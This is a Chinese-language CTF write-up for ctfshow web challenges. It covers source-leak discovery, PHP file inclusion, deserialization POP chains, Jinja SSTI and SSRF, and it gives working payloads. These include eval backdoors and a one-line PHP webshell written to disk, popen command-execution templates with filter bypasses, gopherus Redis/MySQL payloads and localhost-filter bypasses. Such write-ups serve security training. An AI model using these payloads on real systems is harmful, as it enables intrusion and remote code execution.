信息搜集

web1

查看网页源代码
输入图片说明

web2

这里没办法直接右键查看源代码
方法一:在网址上输入view-source:输入图片说明
方法二:直接ctrl+u就可以直接查看源代码

web3

使用BP或者harkbar就可以看到
输入图片说明

web4(robots.txt)

机器人协议
首先访问机器人协议看到它不像让你看到那些信息,再访问就可以拿到flag
输入图片说明

输入图片说明

web5(index.phps)

根据题目提示,存在phps源码泄露,直接访问index.phps即可拿到flag
输入图片说明

web6(www.zip)

直接访问www.zip就可以拿到flag
输入图片说明

web7(/.git/)

版本控制很重要,但不要部署到生产环境更重要,直接访问/.git/就能拿到flag
输入图片说明

web8(/.svn/)

版本控制很重要,但不要部署到生产环境更重要,直接访问/.svn/就能拿到flag
输入图片说明

web9(index.php.swp)

原理
vim 在编辑文本时就会创建临时缓存文件,用来备份缓冲区中的内容。当程序异常退出时会被保留下来,因此可以通过该缓存文件恢复原始文件内容。
直接访问index.php.swp就可以拿到flag
输入图片说明

web10(查看cookie)

输入图片说明

web12(/admin/+找密码)

密码一般是一串数字,这里最像密码的就是这串数字
访问/admin/后,账号admin密码是那串数字拿到flag输入图片说明输入图片说明

web13(找登录地址+密码)

输入图片说明

这里发现其他地方都是首字母大写,但是这里却是小写字母,发现可以点击,进去后拿到管理员登陆地址和账号密码

输入图片说明
输入图片说明
输入图片说明

web14(/editor/)

根据题目中提示的信息,访问/editor/可以进入一个编辑器,在编辑器中找到上传,有个上传空间,在里面找到flag的路径再进行访问就能拿到flag
输入图片说明
输入图片说明
输入图片说明

web15(邮箱找地址)

输入图片说明

根据邮箱上的QQ号查询用户,然后根据用户的地址忘记 密码重置密码后登录即可输入图片说明

web16(tz.php)

根据题目提示中的探针,名称一般为tz.php我们直接访问可以看到信息,再访问里面的phpinfo(),一般flag就会藏在里面,然后拿到flag输入图片说明

输入图片说明

web18(源代码)

题目中玩到100以上就给flag
方法一:玩
方法二:访问源代码,查看后,找到大于100分后输出的内容,一段经过unicode编码的信息,然后进行解码就可以拿到flag输入图片说明输入图片说明输入图片说明

web19

访问源代码,发现的账号和加密后的密码,根据上面给的AES,key和iv可以尝试是AES加密,解密后拿到flag
输入图片说明
输入图片说明
输入图片说明

web20

直接猜库名,访问db/db.mdb可以下载数据库,搜索ctfshow就能拿到flag了
输入图片说明

web17(sql)

用dirsearch扫描发现/backup.sql可以访问,访问后拿到flag
输入图片说明

文件包含

web78

这道题几乎没有任何限制
使用data或者filter伪协议就可以拿到flag
输入图片说明
输入图片说明

web79

题目意思是将php换为???
filter没办法用了,这里使用data伪协议可以拿到flag
小知识,只有一句代码的话,<?php相当于<?=输入图片说明

web80

题目意思是将data和php替换为???
使用日志包含就可以拿到flag
输入图片说明

web81

同web80

反序列化

web254

要求是输入的username和passowrd要相同,直接传入就可以
输入图片说明

web255

return $this->username===$u&&$this->password===$p; 这道题即使username和password与题目中的相同,也没办法修改$isVip的值,所以我们可以尝试在本地直接修改

$user = unserialize($_COOKIE['user']);
这里需要进行序列化了,并且使用写Cookie进行传入,才能拿到flag

因为题目中有对username和password的判断,因而仍需要传入与题目中相同的值

输入图片说明

第一处就是上面提到的改为true
第二处,在进行序列化的时候要进行url编码,防止一些不可见字符没有写入进去

输入图片说明

拿到flag

web256

题目中多加了一个弱相等比较,我们可以通过反序列化对题目控制题目中的username和password来进行绕过
我们修改后再传入我们修改后的username和password就可以拿到flag

输入图片说明

修改isvip的值为true,并且修改username和password的值,在进行序列化,这里修改isvip的方式还可以使用下面的魔术方法输入图片说明

输入后拿到flag输入图片说明

web257

这里的isVip没什么用了,username和password只要传入值就可以
根据题目,我们可以观察到info类里面最终是一个return,没有办法利用,而backDoor里面有eval,我们可以利用解题
$this->class=new info();这里创造实例的时候,我们进行修改,就可以让它创造backDoor的实例,从而调用getInfo(),修改code的值进行rce
修改为$this->class-new backDoor();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
/*

# -*- coding: utf-8 -*-

# @Author: h1xa

# @Date: 2020-12-02 17:44:47

# @Last Modified by: h1xa

# @Last Modified time: 2020-12-02 20:33:07

# @email: h1xa@ctfer.com

# @link: https://ctfer.com



*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$a= new ctfShowUser();
echo urlencode(serialize($a));

构造payload,拿到flag输入图片说明

web258

这里多了个正则匹配的绕过
将全部的O:替换为O:+就可以进行绕过
其余和web257相同

payload奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
/*
# -*- coding: utf-8 -*-
# @uthor: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);
?>

构造出,然后拿到flag

web260

序列化后是本身就可以输出flag
字符串序列化序列化后就是本身
因而
?ctfshow=ctfshow_i_love_36D
只要含有ctfshow_i_love_36D就可以,还可以是asidasdhctfshow_i_love_36Dsdcojsdc只要字符转连续不断就可以

输入图片说明

web261

public function __unserializepublic function __wakeup()冲突,当两者均存在时,会自动绕过wakeup魔术方法

public function __invoke()在这里用不到,相当于没有

public function __unserialize($data)这个函数的作用是反序列化时将username和password拼接起来,作为code的值

$this->code==0x36d 这里是弱相等比较,0x36d转为数字是877,那么由于unserialize魔术方法的拼接,结合下面的file_put_contents($this->username, $this->password);写入,只需要username的值为877.php或者877aasd.php等即可绕过,password的值写入一句话木马,就可以rce拿到flag

这里有public function __sleep() sleep魔术方法是再序列化的时候调用的,返回值必须是一个数组,而这里并没有返回值 ,因而在这里没有作用,可以忽略

综上,代码奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct(){
$this->username='877a.php';
$this->password='<?php eval($_POST[1]);?>';
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

先写入输入图片说明

再访问写入的877a.php,执行系统命令拿到flag输入图片说明

web262(经典字符串逃逸)

首先观察题目找到信息输入图片说明

访问后看到题目输入图片说明

看到$umsg = str_replace('fuck', 'loveU', serialize($msg));的时候,四个字符串变成五个,很明显的字符串逃逸,要求token的值为admin,就可以拿到flag

代码奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$b = str_replace('fuck', 'loveU', serialize($a));
echo $b;

这里的输出结果要再base64编码一下,得到
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fQ==

写入cookie拿到flag输入图片说明

ssti

web361

首先我们根据题目提示找到传入的参数为name
输入图片说明

测试发现是ssti输入图片说明

因为没有任何过滤,直接读就可以
?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /f*')['read']()}}
输入图片说明

web362

开始了过滤,这里试了一下,发现过滤了数字2和3

os的类在132,这里对数字2和3进行绕过就可以,这里使用(dict(e=a)|join|count),e的个数就是数字,可以多个进行加减乘除从而得到想要的数字,使用加法的时候需要进行url编码
payload为?name={{"".__class__.__base__.__subclasses__()[(dict(eeeeeeeeee=a)|join|count)*(dict(eeeeeeeeeeeee=a)|join|count)%2B(dict(ee=a)|join|count)].__init__.__globals__['popen']('tac /f*')['read']()}}
输入图片说明

web363

测试发现过滤了双引号和单引号
“”替换为()
这里读到全局变量就可以看到flag
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__}}
输入图片说明

这里也可以使用绕过“”,’的方法
使用request.args.a,然后后面再&上想要写的内容就可以
输入图片说明
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&&a=popen&&b=tac /f*

web364

这里过滤了双引号,单引号和args
这里使用values来代替args
payload为?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=tac /f*

输入图片说明

web365

这里还过滤了[
我们使用__getitem__进行绕过就可以,它的作用是使()代替[]
payload:?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.x)(request.values.y).read()}}&x=popen&y=tac /f*
这里还学到一个新的语句,可以不使用[]
?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=tac /f*
都可以拿到flag

输入图片说明

ssrf

web360

根据题目提示为我们要打的是redis,它的开放端口为6379
即使不提示也可以通过扫描拿到端口进行尝试
这里直接使用gopherus构造payload拿到flag即可输入图片说明

注意在传入的时候_后要进行url二次编码,也就是要再编码一次

输入图片说明

这里默认写入的是shell.php
默认是get方式传入cmd输入图片说明

web351

这里没有任何过滤,直接访问就可以了

这里为什么访问的就是flag.php,为什么就不是其他的呢?这里可以通过御剑进行扫描,发现flag.php,所以才访问这个

输入图片说明

web359

没有密码的mysql,这里直接使用gopherus构造payload
输入图片说明

这里语句不要由一点差错,不然没办法写入
同样的,传入的时候,_后面要进行url二次编码
输入图片说明输入图片说明

web352

这里对127.0.0.1进行了过滤,我们将ip转为10进制就可以进行绕过
http://2130706433/flag.php![输入图片说明](/img/srf7.jpg)

web353

还可以使用352的方法,为了有所区别,我们使用ip转8进制拿到flag
http://017700000001/flag.php
输入图片说明

web354

不能出现0和1,这里使用短网址
http://sudo.cc/flag.php

输入图片说明

web355

这里要求host的长度小于等于5,也就是127.0.0.1处长度不能大于5
这里使用127.1代替即可拿到flag
输入图片说明

web356

要求长度小于3
这里直接使用0代替
再linux系统下0代表的就是127.0.0.1
http://0/flag.php

输入图片说明

web358

题目意思就是这个

输入图片说明

url=http://ctf.@127.0.0.1/flag.php#show

@前面的内容会作为用户解析,不会访问
#后面的内容被注释掉了
因而实际访问的就是http://127.0.0.1/flag
拿到flag
输入图片说明